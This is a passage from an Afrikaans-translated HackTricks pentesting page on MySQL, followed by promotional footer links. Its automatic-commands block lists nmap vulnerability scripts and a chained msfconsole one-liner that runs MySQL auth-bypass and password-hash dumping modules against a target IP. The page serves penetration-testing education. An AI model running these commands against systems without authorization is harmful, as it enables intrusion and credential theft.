|
||
x$waits\_by\_user\_by\_latency\
|
||
x$waits\_global\_by\_latency
|
||
|
||
## HackTricks Outomatiese Opdragte
|
||
```
|
||
Protocol_Name: MySql #Protocol Abbreviation if there is one.
|
||
Port_Number: 3306 #Comma separated if there is more than one.
|
||
Protocol_Description: MySql #Protocol Abbreviation Spelled out
|
||
|
||
Entry_1:
|
||
Name: Notes
|
||
Description: Notes for MySql
|
||
Note: |
|
||
MySQL is a freely available open source Relational Database Management System (RDBMS) that uses Structured Query Language (SQL).
|
||
|
||
https://book.hacktricks.xyz/pentesting/pentesting-mysql
|
||
|
||
Entry_2:
|
||
Name: Nmap
|
||
Description: Nmap with MySql Scripts
|
||
Command: nmap --script=mysql-databases.nse,mysql-empty-password.nse,mysql-enum.nse,mysql-info.nse,mysql-variables.nse,mysql-vuln-cve2012-2122.nse {IP} -p 3306
|
||
|
||
Entry_3:
|
||
Name: MySql
|
||
Description: Attempt to connect to mysql server
|
||
Command: mysql -h {IP} -u {Username}@localhost
|
||
|
||
Entry_4:
|
||
Name: MySql consolesless mfs enumeration
|
||
Description: MySql enumeration without the need to run msfconsole
|
||
Note: sourced from https://github.com/carlospolop/legion
|
||
Command: msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_version; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_authbypass_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/admin/mysql/mysql_enum; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_schemadump; set RHOSTS {IP}; set RPORT 3306; run; exit'
|
||
|
||
```
|
||
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
||
|
||
[**RootedCON**](https://www.rootedcon.com/) is die mees relevante sibersekuriteitsgebeurtenis in **Spanje** en een van die belangrikste in **Europa**. Met **die missie om tegniese kennis te bevorder**, is hierdie kongres 'n kookpunt vir tegnologie- en sibersekuriteitsprofessionals in elke dissipline.
|
||
|
||
{% embed url="https://www.rootedcon.com/" %}
|
||
|
||
<details>
|
||
|
||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||
|
||
Ander maniere om HackTricks te ondersteun:
|
||
|
||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslagplekke.
|
||
|
||
</details>
|